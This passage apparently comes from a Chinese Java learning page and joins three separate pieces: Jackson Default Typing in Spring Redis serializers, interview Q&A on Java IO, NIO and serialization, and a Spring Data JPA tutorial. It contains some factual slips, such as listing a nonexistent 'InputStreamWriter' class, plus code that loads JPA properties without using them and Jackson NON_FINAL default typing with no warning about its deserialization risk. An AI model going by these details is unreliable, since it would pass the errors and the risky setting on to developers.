mapper.enableDefaultTypingAsProperty(DefaultTyping.NON_FINAL, classPropertyTypeName);
} else {
mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
}
}classPropertyTypeName 不为空的话,使用传入对象的 classPropertyTypeName 属性对应的值,作为默认类型(Default Typing) ,否则使用传入对象的类全名,作为默认类型(Default Typing)。我们来思考下,在将一个对象序列化成一个字符串,怎么保证字符串反序列化成对象的类型呢?Jackson 通过 Default Typing ,会在字符串多冗余一个类型,这样反序列化就知道具体的类型了先说个结论标准JSON{
"id": 100,
"name": "小工匠",
"sex": "Male"
}使用 Jackson Default Typing 机制序列化{
"@class": "com.artisan.domain.Artisan",
"id": 100,
"name": "小工匠",
"sex": "Male"
}示例测试一把【配置类】 @Bean
public RedisTemplate<String, Object> redisTemplate() {
// 创建 RedisTemplate 对象
RedisTemplate<String, Object> template = new RedisTemplate<>();
// 设置 RedisConnection 工厂。 它就是实现多种 Java Redis 客户端接入的秘密工厂
template.setConnectionFactory(connectionFactory);
// 使用 String 序列化方式,序列化 KEY 。
template.setKeySerializer(RedisSerializer.string());
// 使用 JSON 序列化方式(库是 Jackson ),序列化 VALUE 。
template.setValueSerializer(RedisSerializer.json());
return template;
}【单元测试】 @Test
public void testJacksonSerializer() {
Artisan artisan = new Artisan();
artisan.setName("小工匠");
artisan.setId(100);
artisan.setSex("Male");
// set
redisTemplate.opsForValue().set("artisan", artisan);
}【结果】是不是多了@class 属性,反序列化的对象的类型就可以从这里获取到。@class 属性看似完美解决了反序列化后的对象类型,但是带来 JSON 字符串占用变大,所以实际项目中,我们很少采用 Jackson2JsonRedisSerializerXML 序列化方式org.springframework.data.redis.serializer.OxmSerializer使用 Spring OXM 实现将对象和 String 的转换,从而 String 和二进制数组的转换。 没见过哪个项目用过,不啰嗦了
3. IO
3.1 介绍一下Java中的IO流参考答案
IO(Input Output)用于实现对数据的输入与输出操作,Java把不同的输入/输出源(键盘、文件、网络等)抽象表述为流(Stream)。流是从起源到接收的有序数据,有了它程序就可以采用同一方式访问不同的输入/输出源。
按照数据流向,可以将流分为输入流和输出流,其中输入流只能读取数据、不能写入数据,而输出流只能写入数据、不能读取数据。
按照数据类型,可以将流分为字节流和字符流,其中字节流操作的数据单元是8位的字节,而字符流操作的数据单元是16位的字符。
按照处理功能,可以将流分为节点流和处理流,其中节点流可以直接从/向一个特定的IO设备(磁盘、网络等)读/写数据,也称为低级流,而处理流是对节点流的连接或封装,用于简化数据读/写功能或提高效率,也称为高级流。
Java提供了大量的类来支持IO操作,下表给大家整理了其中比较常用的一些类。其中,黑色字体的是抽象基类,其他所有的类都继承自它们。红色字体的是节点流,蓝色字体的是处理流。
根据命名很容易理解各个流的作用:
以File开头的文件流用于访问文件;
以ByteArray/CharArray开头的流用于访问内存中的数组;
以Piped开头的管道流用于访问管道,实现进程之间的通信;
以String开头的流用于访问内存中的字符串;
以Buffered开头的缓冲流,用于在读写数据时对数据进行缓存,以减少IO次数;
InputStreamReader、InputStreamWriter是转换流,用于将字节流转换为字符流;
以Object开头的流是对象流,用于实现对象的序列化;
以Print开头的流是打印流,用于简化打印操作;
以Pushback开头的流是推回输入流,用于将已读入的数据推回到缓冲区,从而实现再次读取;
以Data开头的流是特殊流,用于读写Java基本类型的数据。
3.2 怎么用流打开一个大文件?参考答案
打开大文件,应避免直接将文件中的数据全部读取到内存中,可以采用分次读取的方式。
使用缓冲流。缓冲流内部维护了一个缓冲区,通过与缓冲区的交互,减少与设备的交互次数。使用缓冲输入流时,它每次会读取一批数据将缓冲区填满,每次调用读取方法并不是直接从设备取值,而是从缓冲区取值,当缓冲区为空时,它会再一次读取数据,将缓冲区填满。使用缓冲输出流时,每次调用写入方法并不是直接写入到设备,而是写入缓冲区,当缓冲区填满时它会自动刷入设备。
使用NIO。NIO采用内存映射文件的方式来处理输入/输出,NIO将文件或文件的一段区域映射到内存中,这样就可以像访问内存一样来访问文件了(这种方式模拟了操作系统上的虚拟内存的概念),通过这种方式来进行输入/输出比传统的输入/输出要快得多。
3.3 说说NIO的实现原理参考答案
Java的NIO主要由三个核心部分组成:Channel、Buffer、Selector。
基本上,所有的IO在NIO中都从一个Channel开始,数据可以从Channel读到Buffer中,也可以从Buffer写到Channel中。Channel有好几种类型,其中比较常用的有FileChannel、DatagramChannel、SocketChannel、ServerSocketChannel等,这些通道涵盖了UDP和TCP网络IO以及文件IO。
Buffer本质上是一块可以写入数据,然后可以从中读取数据的内存。这块内存被包装成NIO Buffer对象,并提供了一组方法,用来方便的访问该块内存。Java NIO里关键的Buffer实现有CharBuffer、ByteBuffer、ShortBuffer、IntBuffer、LongBuffer、FloatBuffer、DoubleBuffer。这些Buffer覆盖了你能通过IO发送的基本数据类型,即byte、short、int、long、float、double、char。
Buffer对象包含三个重要的属性,分别是capacity、position、limit,其中position和limit的含义取决于Buffer处在读模式还是写模式。但不管Buffer处在什么模式,capacity的含义总是一样的。
capacity:作为一个内存块,Buffer有个固定的最大值,就是capacity。Buffer只能写capacity个数据,一旦Buffer满了,需要将其清空才能继续写数据往里写数据。
position:当写数据到Buffer中时,position表示当前的位置。初始的position值为0。当一个数据写到Buffer后, position会向前移动到下一个可插入数据的Buffer单元。position最大可为capacity–1。当读取数据时,也是从某个特定位置读。当将Buffer从写模式切换到读模式,position会被重置为0。当从Buffer的position处读取数据时,position向前移动到下一个可读的位置。
limit:在写模式下,Buffer的limit表示最多能往Buffer里写多少数据,此时limit等于capacity。当切换Buffer到读模式时, limit表示你最多能读到多少数据,此时limit会被设置成写模式下的position值。
三个属性之间的关系,如下图所示:
Selector允许单线程处理多个 Channel,如果你的应用打开了多个连接(通道),但每个连接的流量都很低,使用Selector就会很方便。要使用Selector,得向Selector注册Channel,然后调用它的select()方法。这个方法会一直阻塞到某个注册的通道有事件就绪。一旦这个方法返回,线程就可以处理这些事件,事件例如有新连接进来,数据接收等。
这是在一个单线程中使用一个Selector处理3个Channel的图示:
扩展阅读
Java NIO根据操作系统不同, 针对NIO中的Selector有不同的实现:
macosx:KQueueSelectorProvider
solaris:DevPollSelectorProvider
Linux:EPollSelectorProvider (Linux kernels >= 2.6)或PollSelectorProvider
windows:WindowsSelectorProvider
所以不需要特别指定,Oracle JDK会自动选择合适的Selector。如果想设置特定的Selector,可以设置属性,例如: -Djava.nio.channels.spi.SelectorProvider=sun.nio.ch.EPollSelectorProvider。
JDK在Linux已经默认使用epoll方式,但是JDK的epoll采用的是水平触发,所以Netty自4.0.16起, Netty为Linux通过JNI的方式提供了native socket transport。Netty重新实现了epoll机制。
采用边缘触发方式;
netty epoll transport暴露了更多的nio没有的配置参数,如 TCP_CORK, SO_REUSEADDR等等;
C代码,更少GC,更少synchronized。
3.4 介绍一下Java的序列化与反序列化参考答案
序列化机制可以将对象转换成字节序列,这些字节序列可以保存在磁盘上,也可以在网络中传输,并允许程序将这些字节序列再次恢复成原来的对象。其中,对象的序列化(Serialize),是指将一个Java对象写入IO流中,对象的反序列化(Deserialize),则是指从IO流中恢复该Java对象。
若对象要支持序列化机制,则它的类需要实现Serializable接口,该接口是一个标记接口,它没有提供任何方法,只是标明该类是可以序列化的,Java的很多类已经实现了Serializable接口,如包装类、String、Date等。
若要实现序列化,则需要使用对象流ObjectInputStream和ObjectOutputStream。其中,在序列化时需要调用ObjectOutputStream对象的writeObject()方法,以输出对象序列。在反序列化时需要调用ObjectInputStream对象的readObject()方法,将对象序列恢复为对象。
3.5 Serializable接口为什么需要定义serialVersionUID变量?参考答案
serialVersionUID代表序列化的版本,通过定义类的序列化版本,在反序列化时,只要对象中所存的版本和当前类的版本一致,就允许做恢复数据的操作,否则将会抛出序列化版本不一致的错误。
如果不定义序列化版本,在反序列化时可能出现冲突的情况,例如:
创建该类的实例,并将这个实例序列化,保存在磁盘上;
升级这个类,例如增加、删除、修改这个类的成员变量;
反序列化该类的实例,即从磁盘上恢复修改之前保存的数据。
在第3步恢复数据的时候,当前的类已经和序列化的数据的格式产生了冲突,可能会发生各种意想不到的问题。增加了序列化版本之后,在这种情况下则可以抛出异常,以提示这种矛盾的存在,提高数据的安全性。
3.6 除了Java自带的序列化之外,你还了解哪些序列化工具?参考答案
JSON:目前使用比较频繁的格式化数据工具,简单直观,可读性好,有jackson,gson,fastjson等等,比较优秀的JSON解析工具的表现还是比较好的,有些json解析工具甚至速度超过了一些二进制的序列化方式。
Protobuf:一个用来序列化结构化数据的技术,支持多种语言诸如C++、Java以及Python语言,可以使用该技术来持久化数据或者序列化成网络传输的数据。相比较一些其他的XML技术而言,该技术的一个明显特点就是更加节省空间(以二进制流存储)、速度更快以及更加灵活。另外Protobuf支持的数据类型相对较少,不支持常量类型。由于其设计的理念是纯粹的展现层协议(Presentation Layer),目前并没有一个专门支持Protobuf的RPC框架。
Thrift:是Facebook开源提供的一个高性能,轻量级RPC服务框架,其产生正是为了满足当前大数据量、分布式、跨语言、跨平台数据通讯的需求。 但是,Thrift并不仅仅是序列化协议,而是一个RPC框架。 相对于JSON和XML而言,Thrift在空间开销和解析性能上有了比较大的提升,对于对性能要求比较高的分布式系统,它是一个优秀的RPC解决方案。但是由于Thrift的序列化被嵌入到Thrift框架里面, Thrift框架本身并没有透出序列化和反序列化接口,这导致其很难和其他传输层协议共同使用(例如HTTP)。
Avro:提供两种序列化格式,即JSON格式或者Binary格式。Binary格式在空间开销和解析性能方面可以和Protobuf媲美, JSON格式方便测试阶段的调试。 Avro支持的数据类型非常丰富,包括C++语言里面的union类型。Avro支持JSON格式的IDL和类似于Thrift和Protobuf的IDL(实验阶段),这两者之间可以互转。Schema可以在传输数据的同时发送,加上JSON的自我描述属性,这使得Avro非常适合动态类型语言。 Avro在做文件持久化的时候,一般会和Schema一起存储,所以Avro序列化文件自身具有自我描述属性,所以非常适合于做Hive、Pig和MapReduce的持久化数据格式。对于不同版本的Schema,在进行RPC调用的时候,服务端和客户端可以在握手阶段对Schema进行互相确认,大大提高了最终的数据解析速度。
3.7 如果不用JSON工具,该如何实现对实体类的序列化?参考答案
可以使用Java原生的序列化机制,但是效率比较低一些,适合小项目;
可以使用其他的一些第三方类库,比如Protobuf、Thrift、Avro等。
使用spring-data-jpa访问数据库
注意事项(踩坑):这个项目本来引入的依赖是spring-data-commons,从官网文档描述来看,spring-data-commons应该和slf4j一样,只提供一组抽象接口,需要配合具体实现来操作数据库。我用的实现是hibernate。这里有个坑,就是不要同时引入互斥的spring-data-commons依赖和spring-data-jpa依赖。我本地实践中,第一版同时引入了spring-data-commons-3.0.1和spring-data-jpa-2.2.11.RELEASE,导致JpaRepository接口中没有findById和save方法,从而导致编译报错。重新引入和spring-data-jpa-2.2.11.RELEASE匹配的spring-data-commons-2.2.11.RELEASE后此问题解决:
红线部分需要匹配,我的第一版代码不匹配,所以出现了依赖冲突,导致编译不通过。删除冲突的spring-data-commons依赖后,问题解决。
环境搭建
数据库准备
使用mysql数据库,新建一个user表:
create schema if not exists spring_data;
create table if not exists spring_data.user
(
id varchar(16) primary key not null,
gender varchar(2) not null,
name varchar(16) not null,
age int not null,
location varchar(64),
country varchar(16)
);
spring和jpa配置
创建完成后就可以配置spring和spring-jpa了。可以使用java配置,也可以使用xml配置。下面是java配置示例。可以点击xml配置来查看等价的xml配置写法。
package com.wrotecode.springdata.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ClassPathResource;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import org.springframework.orm.jpa.JpaTransactionManager;
import org.springframework.orm.jpa.JpaVendorAdapter;
import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter;
import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import java.io.IOException;
import java.util.Properties;
@Configuration
@EnableJpaRepositories("com.wrotecode.springdata.repository")
public class DbConfig {
@Bean("dataSource")
public DataSource getDataSource() {
// 这里使用spring自带的连接池,实际项目中,我们可以使用其他数据源,比如druid或者dbcp等。
DriverManagerDataSource dataSource = new DriverManagerDataSource();
// 注意事项:生产环境禁止使用明文配置,我们这是学习demo,写成明文无所谓。
dataSource.setUrl("jdbc:mysql://localhost:3306/spring_data");
dataSource.setUsername("root");
dataSource.setPassword("123456");
dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");
return dataSource;
}
@Bean("entityManagerFactory")
public EntityManagerFactory getEntityManagerFactory() throws IOException {
LocalContainerEntityManagerFactoryBean factoryBean = new LocalContainerEntityManagerFactoryBean();
factoryBean.setDataSource(getDataSource());
JpaVendorAdapter jpaVendorAdapter = new HibernateJpaVendorAdapter();
factoryBean.setJpaVendorAdapter(jpaVendorAdapter);
factoryBean.setPackagesToScan("com.wrotecode.springdata.entity");
Properties properties = new Properties();
properties.load(new ClassPathResource("jpa.properties").getInputStream());
factoryBean.afterPropertiesSet();
return factoryBean.getObject();
}
@Bean("transactionManager")
public JpaTransactionManager getTransactionManager() throws IOException {
JpaTransactionManager jpaTransactionManager = new JpaTransactionManager();
jpaTransactionManager.setEntityManagerFactory(getEntityManagerFactory());
return jpaTransactionManager;
}
}
使用spring query method访问数据库
通常,在jpa中,访问数据库的方式是构建criteria查询。spring提供了一种全新的访问数据库的方式,那就是query method。以本文中的user为例,jpa自带了findById、deleteById、existById方法,使用query method后,还可以以同样的语法来定义其他字段,比如findByAge。此外,在定义query method时,idea会进行智能提示:
query method定义在继承了JpaRepository 接口的接口中。在方法名中定义的参数需要和方法实际参数匹配。如果定义了findByIdAndAge方法,那么参数中就必须有id参数和age参数,否则会抛出异常。
查询生成策略
在定义查询方法后,下一步就是生成查询语句。查询语句的生成策略是一个重要的问题。生成策略必须足够好,这样才能保证所有的查询方法都能被正确解析。
spring 中可以手动设置生成策略。如果使用 xml 配置,可以使在命名空间中使用query-lookup-strategy 属性来定义生成策略,如果是 java 配置,可以在 @EnableJpaRepositories 中使用 queryLookupStrategy 属性来定义生成策略。注意:一些数据库可能不支持特定的生成策略。spring 中有下面三种生成策略:
CREATE:该策略会试图创建一个 SQL 查询(其实是 JPA 查询),即增删改查。通常,这个策略会截取查询方法中的通用前后缀,然后解析剩余部分。比如上面的 findAllByIdAndNameOrderByIdDesc,会截取 findByAll 和 OrderByIdDesc,然后解析剩下的 ByIdAndName。
USE_DECLARED_QUERY:查找命名查询,如果没有找到,就抛出异常。命名查询可以参考示例代码。除了使用注解定义命名,还可以使用其他方式来定义。
CREATE_IF_NOT_FOUND:默认策略,结合前两种策略。该策略首先会查找已定义的命名查询,如果没有找到,则会创建一个查询。
当我们定义查询方法后,spring 会根据我们定义的方法来生成查询语句,这里就会有个问题,如果一个字段包含多个单词,spring 会如何区分这些单词是不同的字段还是一个字段的不同组成部分?
创建查询方法
spring-data-jpa 提供的功能对创建基于实体的查询很有用。下面代码是查询示例:
interface PersonRepository extends Repository<Person, Long> {
List<Person> findByEmailAddressAndLastname(EmailAddress emailAddress, String lastname);
// Enables the distinct flag for the query
List<Person> findDistinctPeopleByLastnameOrFirstname(String lastname, String firstname);
List<Person> findPeopleDistinctByLastnameOrFirstname(String lastname, String firstname);
// Enabling ignoring case for an individual property
List<Person> findByLastnameIgnoreCase(String lastname);
// Enabling ignoring case for all suitable properties
List<Person> findByLastnameAndFirstnameAllIgnoreCase(String lastname, String firstname);
// Enabling static ORDER BY for a query
List<Person> findByLastnameOrderByFirstnameAsc(String lastname);
List<Person> findByLastnameOrderByFirstnameDesc(String lastname);
}
一个查询方法被分成两部分,第一部分是查询关键字,用来说明此方法的查询目标是用来增/删/改/查。查询关键字除了说明查询目标外,还可以增加排序、去重等关键字。查询方法的第二部分是查询条件。查询关键字可以参考关键字。除了查询关键字外,条件关键字还可以参考条件关键字。
属性表达式
属性表达式只能引用使用由 jpa 管理的类种的属性,即使用@Entiry 注解的类。属性表达式也可以解析嵌套属性。假设 Person类中有一个 Address 类型的字段,Address 类中有一个字符串类型的 zipCode 字段,那么可以使用 findByAddressZipCode(String zipCode) 来查找 person.address.zipCode=zipCode 的 Person 。
spring 解析这种嵌套属性的方式如下:先将所有嵌套字段作为一个整体去匹配实体类中是否有该属性,如果没有属性,则按照驼峰命名法,将嵌套属性分割,然后寻找实体类是否有第一个字段,如果没有,则将第一个单词和第二个单词视作一个整体去实体类中匹配,如果没有匹配到,则将前三个单词作为一个整体去匹配。依此类推。在本例中,spring 首先查找 addressZipCode 字段,发现 Person 中没有此字段,则使用 address 去匹配,匹配到后,再到 address 中匹配 zipCode 字段,匹配成功,得到的嵌套属性就是 person.address.zipCode。下面时测试代码:
@Test
public void testOneToOne() {
String personId = IdUtil.nextId();
String addressId = IdUtil.nextId();
String zipCode = String.valueOf(System.currentTimeMillis());
Person person = new Person();
person.setId(personId);
Address address = new Address();
address.setId(addressId);
address.setZipCode(zipCode);
person.setAddress(address);
// 如果直接保存person而不保存address,会抛出异常:找不到addressId对应的address
addressRepository.save(address);
Person person2 = personRepository.save(person);
System.out.println(person2);
Person person3 = personRepository.findByAddressZipCode(zipCode);
System.out.println(person3);
}
实体类可以参考 Person和Address。
上面的解析方式大多数情况下都能解析出正确结果,但是有时候却不能。假设 Person 中还有一个 addressZip 属性,那么上面的算法会生成 person.addressZip.code,很明显这是一个错误的表达式,因为 Address 中没有 code 属性。此时我们可以通过下划线来手动分割属性:findByAddress_ZipCode(String zipCode)。抛出的异常如下:
Caused by: org.springframework.data.mapping.PropertyReferenceException: No property code found for type Address! Traversed path: Person.addressZip.
at org.springframework.data.mapping.PropertyPath.<init>(PropertyPath.java:94)
at org.springframework.data.mapping.PropertyPath.create(PropertyPath.java:382)
........省略
使用specification进行数据库交互
在jpa中引入了一种criteria接口,这种接口可以在不写sql的情况下来完成条件查询,最长用的就是描述jpa查询的where条件,以及是否去重活使用聚合函数等。spring将criteria接口做了一层抽象,将他们封装在specification接口中,用户可以通过specification接口来编写出简单的criteria查询语句。specification接口结构如下:
以上面的user表为例,如果我们想要查询年龄大于20岁的用户,可以编写以下代码:
@Test
public void demo() {
Specification<User> specification = (root, query, builder) -> {
Predicate predicate = builder.ge(root.get(User_.age), 20);
return predicate;
};
List<User> all = repository.findAll(specification);
System.out.println(all);
}
如果不想用specification接口,只想用原生criteria接口,会如何呢?下面是使用原生criteria api的写法:
CriteriaBuilder criteriaBuilder = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = criteriaBuilder.createQuery(User.class);
Root<User> root = query.from(User.class);
Predicate predicate = criteriaBuilder.ge(root.get(User_.age), 20);
query.where(predicate);
List<User> resultList = entityManager.createQuery(query).getResultList();
System.out.println(resultList);
可以看到,specification大大简化了criteria接口的使用方法。在原生criertia api中,要执行查询,首先需要从实体管理器中获取一个CriteriaBuilder,然后使用这个builder来创建一个CriteriaQuery。注意,这时候还不能执行查询。之后使用CriteriaQuery生成一个Root,最后使用CriteriaBuilder来构造查询条件,然后将他们组合在一起。可以看到,在spring specifiation接口下,我们通常只需要构造查询条件,剩下的内容交给spring执行就行。其实,不管是使用原生criteria api还是使用specification,整个操作流程是固定的,区别是,使用criteria是需要我们完成所有流程,而是用specification时,我们只需要购兼查询条件,剩下的spring会代替我们高效执行。
使用ExampleMatcher和数据交互
ExampleMatcher是另一种和数据库交互的方式。使用specification,就像用java写sql一样。使用exampleMatcher,也是写sql,只不过传给sql的不是值,而是一个对象,可以参考示例写法:
// 创建一个对象,这个对象的值就是我们查找的条件
User user = new User();
user.setGender("1");
user.setName("username");
// 匹配任意条件。在这个代码中,就是匹配有值的字段。默认情况下是匹配所有条件,即匹配所有字段。
// 匹配所有字段时,若user中username属性为空,则查表会使用username is null,导致查询不到任何数据,因此需要匹配任意条件。
ExampleMatcher matcher = ExampleMatcher.matchingAny()
// 以对象中的用户名开始
.withMatcher("username", GenericPropertyMatchers.startsWith())
// 精确匹配
.withMatcher("gender", ele -> ele.exact());
// 创建一个新的匹配对象
Example<User> example = Example.of(user, matcher);
// 进行查询
List<User> all = repository.findAll(example);
System.out.println(all);